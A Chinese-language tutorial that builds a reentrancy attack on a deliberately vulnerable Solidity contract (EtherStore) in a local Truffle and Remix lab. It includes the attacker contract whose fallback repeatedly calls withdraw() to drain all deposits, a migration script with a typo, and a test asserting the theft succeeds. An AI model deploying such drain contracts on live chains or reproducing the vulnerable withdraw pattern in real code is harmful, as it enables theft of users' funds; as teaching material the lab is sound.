目录
3.1、在contracts目录下创建EtherStore.sol和Attack.sol合约
一、部署环境
1、安装truffle
npm install -g truffle
2、创建truffle工程
truffle init
3、创建测试合约
3.1、在contracts目录下创建EtherStore.sol和Attack.sol合约
EtherStore.sol合约代码如下:
pragma solidity >=0.8.3;
contract EtherStore {
mapping(address => uint) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
uint bal = balances[msg.sender];
require(bal > 0);
(bool sent, ) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");
balances[msg.sender] = 0;
}
// Helper function to check the balance of this contract
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
这里定义了一个EtherStore.sol合约,其中有三个方法,分别是deposit()、withdraw()、getBalance()
- deposit()方法是用户用来往合约里存储以太币的
- withdraw()方法是用户取出存在合约里的以太币的
- getBalance()方法是用来查询该合约里所有用户存储的以太币
- 当你部署合约之后你会发现有一个公共的mapping(balances),这个balances可以用来查询当前用户在该合约下拥有的以太币
Attack.sol合约如下:
import "./EtherStore.sol";
contract Attack {
EtherStore public etherStore;
constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
// Fallback is called when EtherStore sends Ether to this contract.
fallback() external payable {
if (address(etherStore).balance >= 1) {
etherStore.withdraw();
}
}
function attack() external payable {
require(msg.value >= 1);
etherStore.deposit{value: 1}();
etherStore.withdraw();
}
// Helper function to check the balance of this contract
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
这里定义了Attack.sol合约,其中有一个对象,一个构造方法,一个回退函数fallback(),三个自定义方法(attack(),getBalance())
- 构造函数和合约对象用来调用EtherStore.sol合约
- fallback()方法会在EtherStore.sol合约中withdraw()方法中call被调用,随之会一直提取以太币
- getBalance()方法用来查询当前合约存储的以太币
3.2漏洞分析
- 当一个合约接收到以太币时,如果没有匹配的函数调用,就会触发
fallback
函数。而在某些情况下,我们可能需要在fallback
函数中调用其他合约的函数,这时就会使用call
函数来实现这种调用。 - 当 Attack.attack 调用 EtherStore.withdraw 提取了先前 账户充值的 1 个以太时会触发 Attack.fallback 函数。这时只要 EtherStore 合约中的以太大于0 Attack.fallback 就会一直调用 EtherStore.withdraw 函数将 EtherStore 合约中的以太提取到 Attack 合约中,直到 EtherStore 合约中的以太等于0 。这样攻击者会得到 EtherStore 合约中的以太币
4、编写迁移文件
1_init_mi.js 代码如下:
const EtherStore = artifacts.require("EtherStore");
const Attack = artifacts.require("Attack");
module.exports = async function (deployer, network ,accounts) {
await deployer.deploy(EtherStore);
const a = await EtherStore.deployed();
await deployer.deploy(AttacK,a.address);
}
5、自定义测试文件
ReEntrancy.js 代码如下:
const EtherStore = artifacts.require("EtherStore");
const Attack = artifacts.require("Attack");
contract("ReEntrancy", async (accounts) => {
it("test re-entrancy loophole", async () => {
const depositInstance = await EtherStore.deployed();
await depositInstance.deposit({ from: accounts[0], value: 1 })
await depositInstance.deposit({ from: accounts[1], value: 1 })
const attackInstance = await Attack.deployed();
await attackInstance.attack({ value: 1 });
const balance = await attackInstance.getBalance();
assert.equal(balance, 3, "accounts[2] should be 3 because of the re-entransy loophole")
const balanceA = await depositInstance.getBalance({ from: accounts[0] });
assert.equal(balanceA, 0, "accounts[0] should be 3 because of the re-entransy loophole")
})
})
根据3.2漏洞分析可知我只需要部署EtherStore.sol合约,用俩个用户分别调用deposit()方法往合约发送以太币,然后使用攻击者部署Attack.sol合约,部署合约的同时传入EtherStore.sol 合约地址,再去调用attack()方法就可以实现重入攻击,取走EtherStore.sol合约存储的以太币,上述代码就实现了这一逻辑,下面我们来执行测试文件。
6、使用测试
truffle test ./test/ReEntrancy.js
测试文件测试通过,表示重入成功!
7、通过remix实现
7.1 部署EtherStore.sol合约(账号1部署的)
7.2 部署Attack.sol合约(部署传入EtherStore.sol合约地址,账号15部署的)
7.3 使用 账号2 调用EtherStore.sol合约中的deposit()方法发送俩个以太币,查询当前账户下的以太币,以及该合约存储的以太币数量
可以看见账号2下的以太币为2,合约中的以太币为2
7.4 使用 账号3 调用EtherStore.sol合约中的deposit()方法发送俩个以太币,查询当前账户下的以太币,以及该合约存储的以太币数量
可以看见账号3下的以太币为2,合约中的以太币为4
7.5 调用Attack.sol中的attack()方法,实现重入取出以太币,再分别查看余额
可以看见Attack合约下已经取出EtherStore.sol合约中存储的以太币了,而EtherStore.sol合约中已经没有以太币了,但是用户下显示还存在,但是无法取出来,因为合约存储的以太币已经被盗走了!
到这里使用truffle和remix实现重入攻击已经结束了!!!
已经可以去编写任何测试用例去测试合约,已经测试漏洞了!!!